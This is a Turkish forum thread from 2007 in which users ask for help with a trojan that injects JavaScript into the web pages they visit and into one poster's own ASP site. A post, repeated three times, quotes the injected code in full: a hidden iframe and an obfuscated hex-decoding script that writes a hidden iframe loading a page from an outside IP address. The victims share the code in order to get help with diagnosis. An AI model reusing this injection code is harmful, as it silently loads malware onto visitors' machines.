http://x.222360.com/un.js | DonanımHaber Forum

http://x.222360.com/un.js - Sayfa 3

bluerman · 2007-12-31T10:10:54.0000000+03:00

Arkadaşlar merhaba Bir trojan ile başım dertte. Bütün virüs koruyucuları denedim ama hiç biri bu sorunumu çözemedi. Hepsi trojanı buluyor siliyor ama nezaman internet explorer yada firefox'u açsam bir sayfa girsem aynı uyarıları tekrar alıyor. Sorun ziyaret etmek istediğim web sayfasının kodunun başına şekilnde bir kod eklenmesi. Trojanı bulaştıranda buradaki js kodu. Virus koruyucuları bu kod için çözüm üretmiyor sadece bulaştırdığı trojanı siliyorlar ama ben ne zaman bir sayfaya girmek istesem bu kod yüzünden sayfa çok geç açılıyor. Bazen bu .js dosyasının yolu yanıt vermediği zaman uzun süre bekliyor ve zaman aşımına uğruyor; sayfayı açamıyorum. Bu sorunun kesin bi çözümü var format bunu biliyorum ama ben bu kodun girdiğim sayfaların kodunun başına nasıl eklendiği bilmek istiyorum ve bu sorunu format atmadan nasıl çözebilirim bunu öğrenmek istiyorum. Böyle bir sorunla karşılaşan ve çözüm bulan arkadaşlar varsa yardımcı olurlarsa sevinirim... ;)

Aynı problemi ben de yaşıyorum ve kesinlikle ağ üzerinden geldiğine inanıyorum, sebebi ise yeni sistem kurduğum PC'de bile eskiden bulaşmış olabilecek bir virüs olabilme ihtimalini düşünerek herhangi bir flashdisk veya harici bir şey takmadan doğrudan internetten download ettiğim antivirus programı ile gelen atakları görebiliyorum, ayrıca arkadaşın bahsettiği gibi web sayfalarının kaynak kodları arasında hatta ve hatta kendi yaptığım bir sitede bile ilk satırda

quote:

<script></script>

tagları arasında javascript çalıştırıyordu. ASP sayfamı tekrar locale indirip açtığım zaman ilk satırda;

quote:

<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v475f9ffca7ec9(v475f9ffca8660){ function v475f9ffca8e57 () {var v475f9ffca96f4=16; return v475f9ffca96f4;} return(parseInt(v475f9ffca8660,v475f9ffca8e57()));}function v475f9ffca9e4d(v475f9ffcaa643){ var v475f9ffcabe2d=2; var v475f9ffcaae39='';for(v475f9ffcab63a=0; v475f9ffcab63a<v475f9ffcaa643.length; v475f9ffcab63a+=v475f9ffcabe2d){ v475f9ffcaae39+=(String.fromCharCode(v475f9ffca7ec9(v475f9ffcaa643.substr(v475f9ffcab63a, v475f9ffcabe2d))));}return v475f9ffcaae39;} document.write(v475f9ffca9e4d('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6334207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3130393230292B27356365353533335C272077696474683D3536206865696768743D313935207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

şeklinde bir kod gördüm, encode edecek kapasitede arkadaşlarımız varsa belki problemin çözümünde yeni fikirler üretebiliriz.
Nod32, Kaspersky gibi antivirüslere lafım yok ama onlarla halledilebilecek iş gibi görünmüyor, sadece bağlantıyı terminate edebiliyorlar kaynağı bulup silemiyorlar, bunun sebebini de bahsettiğim gibi ağdaki bir PC den kaynaklı problem olarak düşünüyorum ben şahsım adına.
95 tane PC var farklı farklı sistemleri var, hepsine format atmam mümkün değil, virus'un hangisinde olduğunu bulmadan da format anlamlı değil zaten.
Sabırsızlıkla bekliyorum çaresini bulabilecekmiyiz..
Kolay gelsin.

Aynı problemi ben de yaşıyorum ve kesinlikle ağ üzerinden geldiğine inanıyorum, sebebi ise yeni sistem kurduğum PC'de bile eskiden bulaşmış olabilecek bir virüs olabilme ihtimalini düşünerek herhangi bir flashdisk veya harici bir şey takmadan doğrudan internetten download ettiğim antivirus programı ile gelen atakları görebiliyorum, ayrıca arkadaşın bahsettiği gibi web sayfalarının kaynak kodları arasında hatta ve hatta kendi yaptığım bir sitede bile ilk satırda

quote:

<script></script>

tagları arasında javascript çalıştırıyordu. ASP sayfamı tekrar locale indirip açtığım zaman ilk satırda;

 
  <iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v475f9ffca7ec9(v475f9ffca8660){ function v475f9ffca8e57 () {var v475f9ffca96f4=16; return v475f9ffca96f4;} return(parseInt(v475f9ffca8660,v475f9ffca8e57()));}function v475f9ffca9e4d(v475f9ffcaa643){ var v475f9ffcabe2d=2; var v475f9ffcaae39='';for(v475f9ffcab63a=0; v475f9ffcab63a<v475f9ffcaa643.length; v475f9ffcab63a+=v475f9ffcabe2d){ v475f9ffcaae39+=(String.fromCharCode(v475f9ffca7ec9(v475f9ffcaa643.substr(v475f9ffcab63a, v475f9ffcabe2d))));}return v475f9ffcaae39;} document.write(v475f9ffca9e4d('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6334207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3130393230292B27356365353533335C272077696474683D3536206865696768743D313935207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

şeklinde bir kod gördüm, encode edecek kapasitede arkadaşlarımız varsa belki problemin çözümünde yeni fikirler üretebiliriz.
Nod32, Kaspersky gibi antivirüslere lafım yok ama onlarla halledilebilecek iş gibi görünmüyor, sadece bağlantıyı terminate edebiliyorlar kaynağı bulup silemiyorlar, bunun sebebini de bahsettiğim gibi ağdaki bir PC den kaynaklı problem olarak düşünüyorum ben şahsım adına.
95 tane PC var farklı farklı sistemleri var, hepsine format atmam mümkün değil, virus'un hangisinde olduğunu bulmadan da format anlamlı değil zaten.
Sabırsızlıkla bekliyorum çaresini bulabilecekmiyiz..
Kolay gelsin.

Leopar

Yüzbaşı

913 Mesaj

Tüm Başarılarını Gör

Ayni problemi ben de yasiyorum ve kesinlikle ag üzerinden geldigine inaniyorum, sebebi ise yeni sistem kurdugum PC'de bile eskiden bulasmis olabilecek bir virüs olabilme ihtimalini düsünerek herhangi bir flashdisk veya harici bir sey takmadan dogrudan internetten download ettigim antivirus programi ile gelen ataklari görebiliyorum, ayrica arkadasin bahsettigi gibi web sayfalarinin kaynak kodlari arasinda hatta ve hatta kendi yaptigim bir sitede bile ilk satirda

quote:

<script></script>

taglari arasinda javascript çalistiriyordu. ASP sayfami tekrar locale indirip açtigim zaman

<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v475f9ffca7ec9(v475f9ffca8660){ function v475f9ffca8e57 () {var v475f9ffca96f4=16; return v475f9ffca96f4;} return(parseInt(v475f9ffca8660,v475f9ffca8e57()));}function v475f9ffca9e4d(v475f9ffcaa643){ var v475f9ffcabe2d=2; var v475f9ffcaae39='';for(v475f9ffcab63a=0; v475f9ffcab63a<v475f9ffcaa643.length; v475f9ffcab63a+=v475f9ffcabe2d){ v475f9ffcaae39+=(String.fromCharCode(v475f9ffca7ec9(v475f9ffcaa643.substr(v475f9ffcab63a, v475f9ffcabe2d))));}return v475f9ffcaae39;} document.write(v475f9ffca9e4d('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6334207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3130393230292B27356365353533335C272077696474683D3536206865696768743D313935207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

seklinde bir kod gördüm, encode edecek kapasitede arkadaslarimiz varsa belki problemin çözümünde yeni fikirler üretebiliriz.
Nod32, Kaspersky gibi antivirüslere lafim yok ama onlarla halledilebilecek is gibi görünmüyor, sadece baglantiyi terminate edebiliyorlar kaynagi bulup silemiyorlar, bunun sebebini de bahsettigim gibi agdaki bir PC den kaynakli problem olarak düsünüyorum ben sahsim adina.
95 tane PC var farkli farkli sistemleri var hepsine format atmam mümkün degil, virus'un hangisinde oldugunu bulmadan da format anlamli degil zaten.
Sabirsizlikla bekliyorum çaresini bulabilecekmiyiz..
Kolay gelsin.

keysmart

Yüzbaşı

975 Mesaj

Tüm Başarılarını Gör

_aNaToLia_

Binbaşı

1748 Mesaj

Tüm Başarılarını Gör

keysmart

Yüzbaşı

975 Mesaj

Tüm Başarılarını Gör

bodrumlu2

Yarbay

5021 Mesaj

Tüm Başarılarını Gör

GrAy

Yüzbaşı

728 Mesaj

Tüm Başarılarını Gör

http://x.222360.com/un.js (3. sayfa)